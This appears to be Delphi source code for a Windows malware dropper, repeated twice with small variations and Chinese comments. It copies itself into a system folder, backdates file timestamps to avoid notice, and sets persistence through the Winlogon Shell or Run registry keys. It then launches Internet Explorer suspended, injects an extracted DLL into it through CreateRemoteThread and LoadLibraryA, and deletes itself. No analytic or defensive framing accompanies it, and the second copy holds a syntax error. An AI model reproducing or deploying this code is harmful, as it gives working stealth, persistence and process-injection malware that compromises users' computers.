//----------------修改文件时间函数
type
// indicates the file time to set, used by SetFileTimesHelper and SetDirTimesHelper
TFileTimes = (ftLastAccess, ftLastWrite, ftCreation);
function SetFileTimesHelper(const FileName: string; const DateTime: TDateTime; Times: TFileTimes): Boolean;
var
Handle: THandle;
FileTime: TFileTime;
SystemTime: TSystemTime;
begin
Result := False;
Handle := CreateFile(PChar(FileName), GENERIC_WRITE, FILE_SHARE_READ, nil,OPEN_EXISTING, 0, 0);
if Handle <> INVALID_HANDLE_VALUE then
try
//SysUtils.DateTimeToSystemTime(DateTimeToLocalDateTime(DateTime), SystemTime);
SysUtils.DateTimeToSystemTime(DateTime, SystemTime);
if Windows.SystemTimeToFileTime(SystemTime, FileTime) then
begin
case Times of
ftLastAccess:
Result := SetFileTime(Handle, nil, @FileTime, nil);
ftLastWrite:
Result := SetFileTime(Handle, nil, nil, @FileTime);
ftCreation:
Result := SetFileTime(Handle, @FileTime, nil, nil);
end;
end;
finally
CloseHandle(Handle);
end;
end;
function SetFileLastAccess(const FileName: string; const DateTime: TDateTime): Boolean;
begin
Result := SetFileTimesHelper(FileName, DateTime, ftLastAccess);
end;
function SetFileLastWrite(const FileName: string; const DateTime: TDateTime): Boolean;
begin
Result := SetFileTimesHelper(FileName, DateTime, ftLastWrite);
end;
function SetFileCreation(const FileName: string; const DateTime: TDateTime): Boolean;
begin
Result := SetFileTimesHelper(FileName, DateTime, ftCreation);
end;
//----------------修改文件时间函数
function RandomFilename(aFilename: string): string;
var
Path, Filename, Ext: string;
begin
Result := aFilename;
Path := ExtractFilepath(aFilename);
Ext := ExtractFileExt(aFilename);
Filename := ExtractFilename(aFilename);
if Length(Ext) > 0 then
Filename := Copy(Filename, 1, Length(Filename) - Length(Ext));
repeat
Result := Path + Filename + inttoStr(Random(9999)) + Ext;
until not FileExists(Result);
end;
function GetProcessID(sProcName: string): Integer;
var
hProcSnap: THandle;
pe32: TProcessEntry32;
begin
Result := -1;
hProcSnap := CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS, 0);
if hProcSnap = INVALID_HANDLE_VALUE then Exit;
pe32.dwSize := SizeOf(ProcessEntry32);
if Process32First(hProcSnap, pe32) = True then
while Process32Next(hProcSnap, pe32) = True do
begin
if AnsiStricomp(PChar(ExtractFilename(pe32.szExefile)), PChar(ExtractFilename(sProcName))) = 0 then
begin
Result := pe32.th32ProcessID;
break;
end;
end;
CloseHandle(hProcSnap);
end;
//插入进程
function InjectLibrary(Process: LongWord; DLLPath: pChar): Boolean;
var
BytesWritten: DWORD;
Thread: DWORD;
ThreadID: DWORD;
Parameters: Pointer;
begin
Result := False;
Parameters := xVirtualAllocEx(Process, nil, 4096, MEM_COMMIT, PAGE_READWRITE);
if Parameters = nil then Exit;
WriteProcessMemory(Process, Parameters, Pointer(DLLPath), 4096, BytesWritten);
Thread := xCreateRemoteThread(Process, nil, 0, GetProcAddress(GetModuleHandle('KERNEL32.DLL'), 'LoadLibraryA'), Parameters, 0, @ThreadId);
WaitForSingleObject(Thread, INFINITE);
xVirtualFreeEx(Process, Parameters, 0, MEM_RELEASE);
if Thread = 0 then Exit;
CloseHandle(Thread);
Result := True;
end;
var
isSetup: Bool;
SetupPathName: string;
begin
{ ExeFiles := pchar(DeCryptStr(ExeFiles,'bwindlovexiaohan'));
DLLFiles := PChar(DeCryptStr(DLLFiles,'bwindlovexiaohan'));
IEFiles := PChar(DeCryptStr(IEFiles,'bwindlovexiaohan')); }
SetupPathName := Gesy + ExeFiles;
if (CompareText(paramstr(0), SetupPathName) <> 0) then
begin
try
if FileExists(SetupPathName) then
begin
FilesetAttr(SetupPathName, 0);
DeleteFile(SetupPathName);
if FileExists(SetupPathName) then
begin
Halt;
Exit;
end;
end;
CopyFile(pchar(paramstr(0)), pchar(SetupPathName), False);
SetFileTimesHelper(SetupPathName,Now-1000,ftLastWrite);
SetFileTimesHelper(SetupPathName,Now-1000,ftLastWrite);
SetFileTimesHelper(SetupPathName,Now-1000,ftCreation);
except
end;
isSetup := True;
if judgesys = 3 then
begin
Reg.AddValue(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon', 'Shell', pchar('Explorer.exe '+Gesy+ ExeFiles), 1);
end
else
begin
Reg.AddValue(HKEY_CURRENT_USER, 'SoftWare\Microsoft\Windows\CurrentVersion\Run', ExeFiles, pchar(Gesy + ExeFiles), 1);
end;
end;
if FindWindow('Rejoice_3.2', 'Windows IDE') = 0 then
begin
DllAllpath := Gesy + DLLFiles;
try
FilesetAttr(DllAllpath, 0);
DeleteFile(DllAllpath); {删除现有的DLL文件}
except
end;
if FileExists(DllAllpath) then {如果删除失败，则改名}
begin
DllAllpath := RandomFilename(DllAllpath);
SetFileTimesHelper(DllAllpath,Now-1000,ftLastWrite);
SetFileTimesHelper(DllAllpath,Now-1000,ftLastWrite);
SetFileTimesHelper(DllAllpath,Now-1000,ftCreation);
end;
if ExtractRes('dllfile', 'mydll', DllAllpath) then {生成新的DLL插入文件}
begin
if IEFiles = 'IEXPLORE.EXE' then
CreateProcess(nil, PChar(IEPath), nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo);
PID := GetProcessID(IEFiles);
Process := OpenProcess(PROCESS_ALL_ACCESS, False, PID); {打开要潜入的进程}
FilesetAttr(DllAllpath, 0);
SetFileTimesHelper(DllAllpath,Now-1000,ftLastWrite);
SetFileTimesHelper(DllAllpath,Now-1000,ftLastWrite);
SetFileTimesHelper(DllAllpath,Now-1000,ftCreation);
InjectLibrary(Process, Pchar(DllAllpath));
end;
end;
if isSetup then
Begin
SetFileTimesHelper(DllAllpath,Now-1000,ftLastWrite);
SetFileTimesHelper(DllAllpath,Now-1000,ftLastWrite);
SetFileTimesHelper(DllAllpath,Now-1000,ftCreation);
ExtDelMe;
end;
Halt;
end.
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function RandomFilename(aFilename: string): string;
var
Path, Filename, Ext: string;
begin
Result := aFilename;
Path := ExtractFilepath(aFilename);
Ext := ExtractFileExt(aFilename);
Filename := ExtractFilename(aFilename);
if Length(Ext) > 0 then
Filename := Copy(Filename, 1, Length(Filename) - Length(Ext));
repeat
Result := Path + Filename + inttoStr(Random(9999)) + Ext;
until not FileExists(Result);
end;
function GetProcessID(sProcName: string): Integer;
var
hProcSnap: THandle;
pe32: TProcessEntry32;
begin
Result := -1;
hProcSnap := CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS, 0);
if hProcSnap = INVALID_HANDLE_VALUE then Exit;
pe32.dwSize := SizeOf(ProcessEntry32);
if Process32First(hProcSnap, pe32) = True then
while Process32Next(hProcSnap, pe32) = True do
begin
if AnsiStricomp(PChar(ExtractFilename(pe32.szExefile)), PChar(ExtractFilename(sProcName))) = 0 then
begin
Result := pe32.th32ProcessID;
break;
end;
end;
CloseHandle(hProcSnap);
end;
//插入进程
function InjectLibrary(Process: LongWord; DLLPath: pChar): Boolean;
var
BytesWritten: DWORD;
Thread: DWORD;
ThreadID: DWORD;
Parameters: Pointer;
begin
Result := False;
Parameters := xVirtualAllocEx(Process, nil, 4096, MEM_COMMIT, PAGE_READWRITE);
if Parameters = nil then Exit;
WriteProcessMemory(Process, Parameters, Pointer(DLLPath), 4096, BytesWritten);
Thread := xCreateRemoteThread(Process, nil, 0, GetProcAddress(GetModuleHandle('KERNEL32.DLL'), 'LoadLibraryA'), Parameters, 0, @ThreadId);
WaitForSingleObject(Thread, INFINITE);
xVirtualFreeEx(Process, Parameters, 0, MEM_RELEASE);
if Thread = 0 then Exit;
CloseHandle(Thread);
Result := True;
end;
{procedure killer;
var
f:textfile;
begin
assignfile(f,ExtractFilePath(ParamStr(0))+'key.txt');
if not fileexists(ExtractFilePath(ParamStr(0))+'key.txt') then
begin
rewrite(f);
closefile(f);
end;
end; }
var
isSetup: Bool;
SetupPathName: string;
begin
SetupPathName := Gesy + ExeFiles;
if (CompareText(paramstr(0), SetupPathName) <> 0) then
begin
try
if FileExists(SetupPathName) then
begin
FilesetAttr(SetupPathName, 0);
DeleteFile(SetupPathName);
if FileExists(SetupPathName) then
begin
Halt;
Exit;
end;
end;
CopyFile(pchar(paramstr(0)), pchar(SetupPathName), False);
except
end;
isSetup := True;
if judgesys = 3 then
begin
Reg.AddValue(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon', 'Shell', pchar('Explorer.exe '+), 1);
end
else
begin
Reg.AddValue(HKEY_CURRENT_USER, 'SoftWare\Microsoft\Windows\CurrentVersion\Run', ExeFiles, pchar(Gesy + ExeFiles), 1);
end;
end;
if FindWindow('Rejoice', 'Windows IDE') = 0 then
begin
DllAllpath := Gesy + DLLFiles;
try
FilesetAttr(DllAllpath, 0);
DeleteFile(DllAllpath); {删除现有的DLL文件}
except
end;
if FileExists(DllAllpath) then {如果删除失败，则改名}
begin
DllAllpath := RandomFilename(DllAllpath);
end;
if ExtractRes('dllfile', 'mydll', DllAllpath) then {生成新的DLL插入文件}
begin
if IEFiles = 'IEXPLORE.EXE' then
begin
CreateProcess(nil, PChar(IEPath), nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo);
end;
PID := GetProcessID(IEFiles);
Process := OpenProcess(PROCESS_ALL_ACCESS, False, PID); {打开要潜入的进程}
InjectLibrary(Process, Pchar(DllAllpath));
end;
end;
if isSetup then
ExtDelMe;
Halt;
end.
